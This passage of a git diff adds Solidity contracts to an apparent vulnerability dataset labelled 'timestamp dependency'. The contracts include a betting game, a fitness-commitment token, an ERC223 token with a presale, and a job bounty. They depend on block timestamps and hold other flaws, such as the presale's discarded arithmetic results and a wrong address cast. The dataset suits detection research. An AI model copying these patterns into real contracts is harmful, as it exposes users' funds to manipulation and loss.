ttmCnt2, + uint64 ttmCnt3, + uint64 ttmCnt6, + uint64 ttmCnt7, + uint64 ttmCnt8, + uint64 ttwCnt1, + uint64 ttwCnt2, + uint64 discountEnd + ) + { + ttmCnt1 = 51 - nextDiscountTTMTokenId1; + ttmCnt2 = 131 - nextCommonTTMTokenId2; + ttmCnt3 = 211 - nextCommonTTMTokenId3; + ttmCnt6 = 391 - nextDiscountTTMTokenId6; + ttmCnt7 = 451 - nextCommonTTMTokenId7; + ttmCnt8 = 511 - nextCommonTTMTokenId8; + ttwCnt1 = 31 - nextDiscountTTWTokenId1; + ttwCnt2 = 91 - nextCommonTTWTokenId2; + discountEnd = endDiscountTime; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/1256.sol b/smart_contract_dataset/timestamp dependency/1256.sol new file mode 100644 index 0000000000000000000000000000000000000000..e32406fe959c90dad74d48a54d4e64f19631cee5 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/1256.sol @@ -0,0 +1,338 @@ +pragma solidity ^0.4.21; +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + +interface P3DTakeout { + function buyTokens() external payable; +} + +contract Betting { + using SafeMath for uint256; + + address public owner; + address house_takeout = 0xf783A81F046448c38f3c863885D9e99D10209779; + P3DTakeout P3DContract_; + + uint public winnerPoolTotal; + string public constant version = "0.2.3"; + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + struct horses_info{ + int64 BTC_delta; + int64 ETH_delta; + int64 LTC_delta; + bytes32 BTC; + bytes32 ETH; + bytes32 LTC; + } + + struct bet_info{ + bytes32 horse; + uint amount; + } + struct coin_info{ + uint256 pre; + uint256 post; + uint160 total; + uint32 count; + bool price_check; + } + struct voter_info { + uint160 total_bet; + bool rewarded; + mapping(bytes32=>uint) bets; + } + + mapping (bytes32 => coin_info) public coinIndex; + mapping (address => voter_info) voterIndex; + + uint public total_reward; + uint32 total_bettors; + mapping (bytes32 => bool) public winner_horse; + + + + event Deposit(address _from, uint256 _value, bytes32 _horse, uint256 _date); + event Withdraw(address _to, uint256 _value); + event PriceCallback(bytes32 coin_pointer, uint256 result, bool isPrePrice); + event RefundEnabled(string reason); + + + constructor() public payable { + + owner = msg.sender; + + horses.BTC = bytes32("BTC"); + horses.ETH = bytes32("ETH"); + horses.LTC = bytes32("LTC"); + + P3DContract_ = P3DTakeout(0x72b2670e55139934D6445348DC6EaB4089B12576); + } + + + horses_info public horses; + chronus_info public chronus; + + + modifier onlyOwner { + require(owner == msg.sender); + _; + } + + modifier duringBetting { + require(chronus.betting_open); + require(now < chronus.starting_time + chronus.betting_duration); + _; + } + + modifier beforeBetting { + require(!chronus.betting_open && !chronus.race_start); + _; + } + + modifier afterRace { + require(chronus.race_end); + _; + } + + + function changeOwnership(address _newOwner) onlyOwner external { + owner = _newOwner; + } + + function priceCallback (bytes32 coin_pointer, uint256 result, bool isPrePrice ) external onlyOwner { + require (!chronus.race_end); + emit PriceCallback(coin_pointer, result, isPrePrice); + chronus.race_start = true; + chronus.betting_open = false; + if (isPrePrice) { + if (now >= chronus.starting_time+chronus.betting_duration+ 60 minutes) { + emit RefundEnabled("Late start price"); + forceVoidRace(); + } else { + coinIndex[coin_pointer].pre = result; + } + } else if (!isPrePrice){ + if (coinIndex[coin_pointer].pre > 0 ){ + if (now >= chronus.starting_time+chronus.race_duration+ 60 minutes) { + emit RefundEnabled("Late end price"); + forceVoidRace(); + } else { + coinIndex[coin_pointer].post = result; + coinIndex[coin_pointer].price_check = true; + + if (coinIndex[horses.ETH].price_check && coinIndex[horses.BTC].price_check && coinIndex[horses.LTC].price_check) { + reward(); + } + } + } else { + emit RefundEnabled("End price came before start price"); + forceVoidRace(); + } + } + } + + + function placeBet(bytes32 horse) external duringBetting payable { + require(msg.value >= 0.01 ether); + if (voterIndex[msg.sender].total_bet==0) { + total_bettors+=1; + } + uint _newAmount = voterIndex[msg.sender].bets[horse] + msg.value; + voterIndex[msg.sender].bets[horse] = _newAmount; + voterIndex[msg.sender].total_bet += uint160(msg.value); + uint160 _newTotal = coinIndex[horse].total + uint160(msg.value); + uint32 _newCount = coinIndex[horse].count + 1; + coinIndex[horse].total = _newTotal; + coinIndex[horse].count = _newCount; + emit Deposit(msg.sender, msg.value, horse, now); + } + + + function () private payable {} + + + function setupRace(uint32 _bettingDuration, uint32 _raceDuration) onlyOwner beforeBetting external payable { + chronus.starting_time = uint32(block.timestamp); + chronus.betting_open = true; + chronus.betting_duration = _bettingDuration; + chronus.race_duration = _raceDuration; + } + + + function reward() internal { + + horses.BTC_delta = int64(coinIndex[horses.BTC].post - coinIndex[horses.BTC].pre)*100000/int64(coinIndex[horses.BTC].pre); + horses.ETH_delta = int64(coinIndex[horses.ETH].post - coinIndex[horses.ETH].pre)*100000/int64(coinIndex[horses.ETH].pre); + horses.LTC_delta = int64(coinIndex[horses.LTC].post - coinIndex[horses.LTC].pre)*100000/int64(coinIndex[horses.LTC].pre); + + total_reward = (coinIndex[horses.BTC].total) + (coinIndex[horses.ETH].total) + (coinIndex[horses.LTC].total); + if (total_bettors <= 1) { + emit RefundEnabled("Not enough participants"); + forceVoidRace(); + } else { + + uint house_fee = total_reward.mul(5).div(100); + require(house_fee < address(this).balance); + total_reward = total_reward.sub(house_fee); + house_takeout.transfer(house_fee); + + + uint p3d_fee = house_fee/2; + require(p3d_fee < address(this).balance); + total_reward = total_reward.sub(p3d_fee); + P3DContract_.buyTokens.value(p3d_fee)(); + } + + if (horses.BTC_delta > horses.ETH_delta) { + if (horses.BTC_delta > horses.LTC_delta) { + winner_horse[horses.BTC] = true; + winnerPoolTotal = coinIndex[horses.BTC].total; + } + else if(horses.LTC_delta > horses.BTC_delta) { + winner_horse[horses.LTC] = true; + winnerPoolTotal = coinIndex[horses.LTC].total; + } else { + winner_horse[horses.BTC] = true; + winner_horse[horses.LTC] = true; + winnerPoolTotal = coinIndex[horses.BTC].total + (coinIndex[horses.LTC].total); + } + } else if(horses.ETH_delta > horses.BTC_delta) { + if (horses.ETH_delta > horses.LTC_delta) { + winner_horse[horses.ETH] = true; + winnerPoolTotal = coinIndex[horses.ETH].total; + } + else if (horses.LTC_delta > horses.ETH_delta) { + winner_horse[horses.LTC] = true; + winnerPoolTotal = coinIndex[horses.LTC].total; + } else { + winner_horse[horses.ETH] = true; + winner_horse[horses.LTC] = true; + winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.LTC].total); + } + } else { + if (horses.LTC_delta > horses.ETH_delta) { + winner_horse[horses.LTC] = true; + winnerPoolTotal = coinIndex[horses.LTC].total; + } else if(horses.LTC_delta < horses.ETH_delta){ + winner_horse[horses.ETH] = true; + winner_horse[horses.BTC] = true; + winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.BTC].total); + } else { + winner_horse[horses.LTC] = true; + winner_horse[horses.ETH] = true; + winner_horse[horses.BTC] = true; + winnerPoolTotal = coinIndex[horses.ETH].total + (coinIndex[horses.BTC].total) + (coinIndex[horses.LTC].total); + } + } + chronus.race_end = true; + } + + + function calculateReward(address candidate) internal afterRace constant returns(uint winner_reward) { + voter_info storage bettor = voterIndex[candidate]; + if(chronus.voided_bet) { + winner_reward = bettor.total_bet; + } else { + uint winning_bet_total; + if(winner_horse[horses.BTC]) { + winning_bet_total += bettor.bets[horses.BTC]; + } if(winner_horse[horses.ETH]) { + winning_bet_total += bettor.bets[horses.ETH]; + } if(winner_horse[horses.LTC]) { + winning_bet_total += bettor.bets[horses.LTC]; + } + winner_reward += (((total_reward.mul(10000000)).div(winnerPoolTotal)).mul(winning_bet_total)).div(10000000); + } + } + + + function checkReward() afterRace external constant returns (uint) { + require(!voterIndex[msg.sender].rewarded); + return calculateReward(msg.sender); + } + + + function claim_reward() afterRace external { + require(!voterIndex[msg.sender].rewarded); + uint transfer_amount = calculateReward(msg.sender); + require(address(this).balance >= transfer_amount); + voterIndex[msg.sender].rewarded = true; + msg.sender.transfer(transfer_amount); + emit Withdraw(msg.sender, transfer_amount); + } + + function forceVoidRace() internal { + chronus.voided_bet=true; + chronus.race_end = true; + chronus.voided_timestamp=uint32(now); + } + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint) { + uint256 coinPrePrice; + uint256 coinPostPrice; + if (coinIndex[horses.ETH].pre > 0 && coinIndex[horses.BTC].pre > 0 && coinIndex[horses.LTC].pre > 0) { + coinPrePrice = coinIndex[index].pre; + } + if (coinIndex[horses.ETH].post > 0 && coinIndex[horses.BTC].post > 0 && coinIndex[horses.LTC].post > 0) { + coinPostPrice = coinIndex[index].post; + } + return (coinIndex[index].total, coinPrePrice, coinPostPrice, coinIndex[index].price_check, voterIndex[candidate].bets[index]); + } + + + function reward_total() external constant returns (uint) { + return ((coinIndex[horses.BTC].total) + (coinIndex[horses.ETH].total) + (coinIndex[horses.LTC].total)); + } + + + function refund() external onlyOwner { + require(now > chronus.starting_time + chronus.race_duration); + require((chronus.betting_open && !chronus.race_start) + || (chronus.race_start && !chronus.race_end)); + chronus.voided_bet = true; + chronus.race_end = true; + chronus.voided_timestamp=uint32(now); + } + + + function recovery() external onlyOwner{ + require((chronus.race_end && now > chronus.starting_time + chronus.race_duration + (30 days)) + || (chronus.voided_bet && now > chronus.voided_timestamp + (30 days))); + house_takeout.transfer(address(this).balance); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/1318.sol b/smart_contract_dataset/timestamp dependency/1318.sol new file mode 100644 index 0000000000000000000000000000000000000000..4ffb37ff11dd8348943d63ee7395a74b9cdbe691 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/1318.sol @@ -0,0 +1,275 @@ +pragma solidity ^0.4.0; + +contract ERC20Interface { + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + +contract WorkIt is ERC20Interface { + + + string public constant name = "WorkIt Token"; + string public constant symbol = "WIT"; + uint _totalSupply = 0; + mapping(address => uint) balances; + mapping(address => mapping(address => uint)) allowances; + + function totalSupply() public constant returns (uint) { + return _totalSupply; + } + + function balanceOf(address tokenOwner) public constant returns (uint balance) { + return balances[tokenOwner]; + } + + function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { + return allowances[tokenOwner][spender]; + } + + function transfer(address to, uint tokens) public returns (bool success) { + require(balances[msg.sender] >= tokens); + balances[msg.sender] = balances[msg.sender] - tokens; + balances[to] = balances[to] + tokens; + emit Transfer(msg.sender, to, tokens); + return true; + } + + function approve(address spender, uint tokens) public returns (bool success) { + allowances[msg.sender][spender] = tokens; + emit Approval(msg.sender, spender, tokens); + return true; + } + + function transferFrom(address from, address to, uint tokens) public returns (bool success) { + require(allowances[from][msg.sender] >= tokens); + require(balances[from] >= tokens); + allowances[from][msg.sender] = allowances[from][msg.sender] - tokens; + balances[from] = balances[from] - tokens; + balances[to] = balances[to] + tokens; + emit Transfer(from, to, tokens); + return true; + } + + + + struct WeekCommittment { + uint daysCompleted; + uint daysCommitted; + mapping(uint => uint) workoutProofs; + uint tokensCommitted; + uint tokensEarned; + bool tokensPaid; + } + + struct WeekData { + bool initialized; + uint totalPeopleCompleted; + uint totalPeople; + uint totalDaysCommitted; + uint totalDaysCompleted; + uint totalTokensCompleted; + uint totalTokens; + } + + uint public weiPerToken = 1000000000000000; + uint secondsPerDay = 86400; + uint daysPerWeek = 7; + + mapping(uint => WeekData) public dataPerWeek; + mapping (address => mapping(uint => WeekCommittment)) public commitments; + + mapping(uint => string) imageHashes; + uint imageHashCount; + + uint public startDate; + address public owner; + + constructor() public { + owner = msg.sender; + + startDate = (block.timestamp / secondsPerDay) * secondsPerDay - 60 * 6; + } + + event Log(string message); + + + function () public payable { + buyTokens(msg.value / weiPerToken); + } + + + function buyTokens(uint tokens) public payable { + require(msg.value >= tokens * weiPerToken); + balances[msg.sender] += tokens; + _totalSupply += tokens; + } + + + function commitToWeek(uint tokens, uint _days) public { + + if (balances[msg.sender] < tokens || tokens < 10) { + emit Log("You need to bet at least 10 tokens to commit"); + require(false); + } + if (_days == 0) { + emit Log("You cannot register for 0 days of activity"); + require(false); + } + if (_days > daysPerWeek) { + emit Log("You cannot register for more than 7 days per week"); + require(false); + } + if (_days > daysPerWeek - currentDayOfWeek()) { + emit Log("It is too late in the week for you to register"); + require(false); + } + + WeekCommittment storage commitment = commitments[msg.sender][currentWeek()]; + + if (commitment.tokensCommitted != 0) { + emit Log("You have already committed to this week"); + require(false); + } + balances[0x0] = balances[0x0] + tokens; + balances[msg.sender] = balances[msg.sender] - tokens; + emit Transfer(msg.sender, 0x0, tokens); + + initializeWeekData(currentWeek()); + WeekData storage data = dataPerWeek[currentWeek()]; + data.totalPeople++; + data.totalTokens += tokens; + data.totalDaysCommitted += _days; + + commitment.daysCommitted = _days; + commitment.daysCompleted = 0; + commitment.tokensCommitted = tokens; + commitment.tokensEarned = 0; + commitment.tokensPaid = false; + } + + + function payout() public { + require(currentWeek() > 0); + for (uint activeWeek = currentWeek() - 1; true; activeWeek--) { + WeekCommittment storage committment = commitments[msg.sender][activeWeek]; + if (committment.tokensPaid) { + break; + } + if (committment.daysCommitted == 0) { + committment.tokensPaid = true; + + if (activeWeek == 0) break; + continue; + } + initializeWeekData(activeWeek); + WeekData storage week = dataPerWeek[activeWeek]; + uint tokensFromPool = 0; + uint tokens = committment.tokensCommitted * committment.daysCompleted / committment.daysCommitted; + if (week.totalPeopleCompleted == 0) { + tokensFromPool = (week.totalTokens - week.totalTokensCompleted) / week.totalPeople; + tokens = 0; + } else if (committment.daysCompleted == committment.daysCommitted) { + tokensFromPool = (week.totalTokens - week.totalTokensCompleted) / week.totalPeopleCompleted; + } + uint totalTokens = tokensFromPool + tokens; + if (totalTokens == 0) { + committment.tokensPaid = true; + + if (activeWeek == 0) break; + continue; + } + balances[0x0] = balances[0x0] - totalTokens; + balances[msg.sender] = balances[msg.sender] + totalTokens; + emit Transfer(0x0, msg.sender, totalTokens); + committment.tokensEarned = totalTokens; + committment.tokensPaid = true; + + + if (activeWeek == 0) break; + } + } + + + + function postProof(string proofHash) public { + WeekCommittment storage committment = commitments[msg.sender][currentWeek()]; + if (committment.daysCompleted > currentDayOfWeek()) { + emit Log("You have already uploaded proof for today"); + require(false); + } + if (committment.tokensCommitted == 0) { + emit Log("You have not committed to this week yet"); + require(false); + } + if (committment.workoutProofs[currentDayOfWeek()] != 0) { + emit Log("Proof has already been stored for this day"); + require(false); + } + if (committment.daysCompleted >= committment.daysCommitted) { + + return; + } + committment.workoutProofs[currentDayOfWeek()] = storeImageString(proofHash); + committment.daysCompleted++; + + initializeWeekData(currentWeek()); + WeekData storage week = dataPerWeek[currentWeek()]; + week.totalDaysCompleted++; + week.totalTokensCompleted = week.totalTokens * week.totalDaysCompleted / week.totalDaysCommitted; + if (committment.daysCompleted >= committment.daysCommitted) { + week.totalPeopleCompleted++; + } + } + + + function withdraw(uint tokens) public returns (bool success) { + require(balances[msg.sender] >= tokens); + uint weiToSend = tokens * weiPerToken; + require(address(this).balance >= weiToSend); + balances[msg.sender] = balances[msg.sender] - tokens; + _totalSupply -= tokens; + return msg.sender.send(tokens * weiPerToken); + } + + + function storeImageString(string hash) public returns (uint index) { + imageHashes[++imageHashCount] = hash; + return imageHashCount; + } + + + function initializeWeekData(uint _week) public { + if (dataPerWeek[_week].initialized) return; + WeekData storage week = dataPerWeek[_week]; + week.initialized = true; + week.totalTokensCompleted = 0; + week.totalPeopleCompleted = 0; + week.totalTokens = 0; + week.totalPeople = 0; + week.totalDaysCommitted = 0; + week.totalDaysCompleted = 0; + } + + + function currentDay() public view returns (uint day) { + return (block.timestamp - startDate) / secondsPerDay; + } + + + function currentWeek() public view returns (uint week) { + return currentDay() / daysPerWeek; + } + + + function currentDayOfWeek() public view returns (uint dayIndex) { + + return currentDay() - (currentWeek() * daysPerWeek); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/15.sol b/smart_contract_dataset/timestamp dependency/15.sol new file mode 100644 index 0000000000000000000000000000000000000000..4fa5c65ad4723eda1b8e6089e99dee3d75a4acc0 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/15.sol @@ -0,0 +1,430 @@ +pragma solidity 0.4.21; + + + + +contract Ownable { + address public owner; + address public newOwner; + + event OwnershipTransferred(address indexed _from, address indexed _to); + + function Ownable() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address _newOwner) public onlyOwner { + newOwner = _newOwner; + } + function acceptOwnership() public { + require(msg.sender == newOwner); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + newOwner = address(0); + } +} + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public returns (bool) { + paused = true; + emit Pause(); + return true; + } + + + function unpause() onlyOwner whenPaused public returns (bool) { + paused = false; + emit Unpause(); + return true; + } +} + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +library ContractLib { + + function isContract(address _addr) internal view returns (bool) { + uint length; + assembly { + + length := extcodesize(_addr) + } + return (length>0); + } +} + + + +contract ContractReceiver { + function tokenFallback(address _from, uint _value, bytes _data) public pure; +} + + + + + +contract ERC20Interface { + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint); + function allowance(address tokenOwner, address spender) public constant returns (uint); + function transfer(address to, uint tokens) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); + function transferFrom(address from, address to, uint tokens) public returns (bool); + + function name() public constant returns (string); + function symbol() public constant returns (string); + function decimals() public constant returns (uint8); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + + + + + + + +contract ERC223 is ERC20Interface { + function transfer(address to, uint value, bytes data) public returns (bool); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Transfer(address indexed from, address indexed to, uint value, bytes data); +} + + +contract NXX is ERC223, Pausable { + + using SafeMath for uint256; + using ContractLib for address; + + mapping(address => uint) balances; + mapping(address => mapping(address => uint)) allowed; + + string public name; + string public symbol; + uint8 public decimals; + uint256 public totalSupply; + + event Burn(address indexed from, uint256 value); + + + + + function NXX() public { + symbol = "NASHXX"; + name = "XXXX CASH"; + decimals = 18; + totalSupply = 100000000000 * 10**uint(decimals); + balances[msg.sender] = totalSupply; + emit Transfer(address(0), msg.sender, totalSupply); + } + + + + function name() public constant returns (string) { + return name; + } + + function symbol() public constant returns (string) { + return symbol; + } + + function decimals() public constant returns (uint8) { + return decimals; + } + + function totalSupply() public constant returns (uint256) { + return totalSupply; + } + + + function transfer(address _to, uint _value, bytes _data) public whenNotPaused returns (bool) { + require(_to != 0x0); + if(_to.isContract()) { + return transferToContract(_to, _value, _data); + } + else { + return transferToAddress(_to, _value, _data); + } + } + + + + function transfer(address _to, uint _value) public whenNotPaused returns (bool) { + + + require(_to != 0x0); + + bytes memory empty; + if(_to.isContract()) { + return transferToContract(_to, _value, empty); + } + else { + return transferToAddress(_to, _value, empty); + } + } + + + + + function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) { + balances[msg.sender] = balanceOf(msg.sender).sub(_value); + balances[_to] = balanceOf(_to).add(_value); + emit Transfer(msg.sender, _to, _value); + emit Transfer(msg.sender, _to, _value, _data); + return true; + } + + + function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { + balances[msg.sender] = balanceOf(msg.sender).sub(_value); + balances[_to] = balanceOf(_to).add(_value); + ContractReceiver receiver = ContractReceiver(_to); + receiver.tokenFallback(msg.sender, _value, _data); + emit Transfer(msg.sender, _to, _value); + emit Transfer(msg.sender, _to, _value, _data); + return true; + } + + function balanceOf(address _owner) public constant returns (uint) { + return balances[_owner]; + } + + function burn(uint256 _value) public whenNotPaused returns (bool) { + require (_value > 0); + require (balanceOf(msg.sender) >= _value); + balances[msg.sender] = balanceOf(msg.sender).sub(_value); + totalSupply = totalSupply.sub(_value); + emit Burn(msg.sender, _value); + return true; + } + + + + + + + + + + function approve(address spender, uint tokens) public whenNotPaused returns (bool) { + allowed[msg.sender][spender] = tokens; + emit Approval(msg.sender, spender, tokens); + return true; + } + + function increaseApproval (address _spender, uint _addedValue) public whenNotPaused + returns (bool success) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused + returns (bool success) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + + + + + + + + + function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool) { + allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); + balances[from] = balances[from].sub(tokens); + balances[to] = balances[to].add(tokens); + emit Transfer(from, to, tokens); + return true; + } + + + + + + function allowance(address tokenOwner, address spender) public constant returns (uint) { + return allowed[tokenOwner][spender]; + } + + + + + function () public payable { + revert(); + } + + + + + function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool) { + return ERC20Interface(tokenAddress).transfer(owner, tokens); + } + + + address[] supportedERC20Token; + mapping (address => uint256) prices; + mapping (address => uint256) starttime; + mapping (address => uint256) endtime; + + uint256 maxTokenCountPerTrans = 10000; + uint256 nashInPool; + + event AddSupportedToken( + address _address, + uint256 _price, + uint256 _startTime, + uint256 _endTime); + + event RemoveSupportedToken( + address _address + ); + + function addSupportedToken( + address _address, + uint256 _price, + uint256 _startTime, + uint256 _endTime + ) public onlyOwner returns (bool) { + + require(_address != 0x0); + require(_address.isContract()); + require(_startTime < _endTime); + require(_endTime > block.timestamp); + + supportedERC20Token.push(_address); + prices[_address] = _price; + starttime[_address] = _startTime; + endtime[_address] = _endTime; + + emit AddSupportedToken(_address, _price, _startTime, _endTime); + + return true; + } + + function removeSupportedToken(address _address) public onlyOwner returns (bool) { + require(_address != 0x0); + uint256 length = supportedERC20Token.length; + for (uint256 i = 0; i < length; i++) { + if (supportedERC20Token[i] == _address) { + if (i != length - 1) { + supportedERC20Token[i] = supportedERC20Token[length - 1]; + } + delete supportedERC20Token[length-1]; + supportedERC20Token.length--; + + prices[_address] = 0; + starttime[_address] = 0; + endtime[_address] = 0; + + emit RemoveSupportedToken(_address); + + break; + } + } + return true; + } + + modifier canBuy(address _address) { + bool found = false; + uint256 length = supportedERC20Token.length; + for (uint256 i = 0; i < length; i++) { + if (supportedERC20Token[i] == _address) { + require(block.timestamp > starttime[_address]); + require(block.timestamp < endtime[_address]); + found = true; + break; + } + } + require (found); + _; + } + + function joinPreSale(address _tokenAddress, uint256 _tokenCount) public canBuy(_tokenAddress) returns (bool) { + require(_tokenCount <= maxTokenCountPerTrans); + uint256 total = _tokenCount * prices[_tokenAddress]; + balances[msg.sender].sub(total); + nashInPool.add(total); + + emit Transfer(_tokenAddress, this, total); + + return ERC20Interface(_tokenCount).transfer(msg.sender, _tokenCount); + } + + function transferNashOut(address _to, uint256 count) public onlyOwner returns(bool) { + require(_to != 0x0); + nashInPool.sub(count); + balances[_to].add(count); + + emit Transfer(this, _to, count); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/1667.sol b/smart_contract_dataset/timestamp dependency/1667.sol new file mode 100644 index 0000000000000000000000000000000000000000..02a4821e17fce372b27befc274214e0eee2ebc4d --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/1667.sol @@ -0,0 +1,177 @@ +pragma solidity ^0.4.24; + + +contract ReentrancyGuard { + + + + uint private constant REENTRANCY_GUARD_FREE = 1; + + + uint private constant REENTRANCY_GUARD_LOCKED = 2; + + + uint private reentrancyLock = REENTRANCY_GUARD_FREE; + + + modifier nonReentrant() { + require(reentrancyLock == REENTRANCY_GUARD_FREE); + reentrancyLock = REENTRANCY_GUARD_LOCKED; + _; + reentrancyLock = REENTRANCY_GUARD_FREE; + } + +} + + +library SafeMath { + + + function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { + + + + if (_a == 0) { + return 0; + } + + c = _a * _b; + assert(c / _a == _b); + return c; + } + + + function div(uint256 _a, uint256 _b) internal pure returns (uint256) { + + + + return _a / _b; + } + + + function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { + assert(_b <= _a); + return _a - _b; + } + + + function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { + c = _a + _b; + assert(c >= _a); + return c; + } +} + + +contract Ownable { + address public owner; + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +interface ERC20 { + function totalSupply() external view returns (uint supply); + function balanceOf(address _owner) external view returns (uint balance); + function transfer(address _to, uint _value) external returns (bool success); + function transferFrom(address _from, address _to, uint _value) external returns (bool success); + function approve(address _spender, uint _value) external returns (bool success); + function allowance(address _owner, address _spender) external view returns (uint remaining); + function decimals() external view returns(uint digits); + event Approval(address indexed _owner, address indexed _spender, uint _value); +} + + + +contract JobsBounty is Ownable, ReentrancyGuard { + using SafeMath for uint256; + string public companyName; + string public jobPost; + uint public endDate; + + + + + + + address public INDToken; + + constructor(string _companyName, + string _jobPost, + uint _endDate, + address _INDToken + ) public{ + companyName = _companyName; + jobPost = _jobPost ; + endDate = _endDate; + INDToken = _INDToken; + } + + + function ownBalance() public view returns(uint256) { + return SafeMath.div(ERC20(INDToken).balanceOf(this),1 ether); + } + + function payOutBounty(address _referrerAddress, address _candidateAddress) external onlyOwner nonReentrant returns(bool){ + assert(block.timestamp >= endDate); + assert(_referrerAddress != address(0x0)); + assert(_candidateAddress != address(0x0)); + + uint256 individualAmounts = SafeMath.mul(SafeMath.div((ERC20(INDToken).balanceOf(this)),100),50); + + + assert(ERC20(INDToken).transfer(_candidateAddress, individualAmounts)); + assert(ERC20(INDToken).transfer(_referrerAddress, individualAmounts)); + return true; + } + + + + + function withdrawERC20Token(address anyToken) external onlyOwner nonReentrant returns(bool){ + assert(block.timestamp >= endDate); + assert(ERC20(anyToken).transfer(owner, ERC20(anyToken).balanceOf(this))); + return true; + } + + + + function withdrawEther() external onlyOwner nonReentrant returns(bool){ + if(address(this).balance > 0){ + owner.transfer(address(this).balance); + } + return true; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/1671.sol b/smart_contract_dataset/timestamp dependency/1671.sol new file mode 100644 index 0000000000000000000000000000000000000000..495038eb14cee8a5c3af054e00219cdd4af36347 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/1671.sol @@ -0,0 +1,440 @@ + + + + + + + + + + + +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + + + + +contract EthertoteToken { + function thisContractAddress() public pure returns (address) {} + function balanceOf(address) public pure returns (uint256) {} + function transfer(address, uint) public {} +} + + + + + + +contract TokenSale { + using SafeMath for uint256; + + EthertoteToken public token; + + address public admin; + address public thisContractAddress; + + + address public tokenContractAddress = 0x42be9831FFF77972c1D0E1eC0aA9bdb3CaA04D47; + + + + address public tokenBurnAddress = 0xadCa18DC9489C5FE5BdDf1A8a8C2623B66029198; + + + + address public ethRaisedAddress = 0x9F73D808807c71Af185FEA0c1cE205002c74123C; + + uint public preIcoPhaseCountdown; + uint public icoPhaseCountdown; + uint public postIcoPhaseCountdown; + + + bool public tokenSaleIsPaused; + + + uint public tokenSalePausedTime; + + + uint public tokenSaleResumedTime; + + + + uint public tokenSalePausedDuration; + + + uint256 public weiRaised; + + + uint public 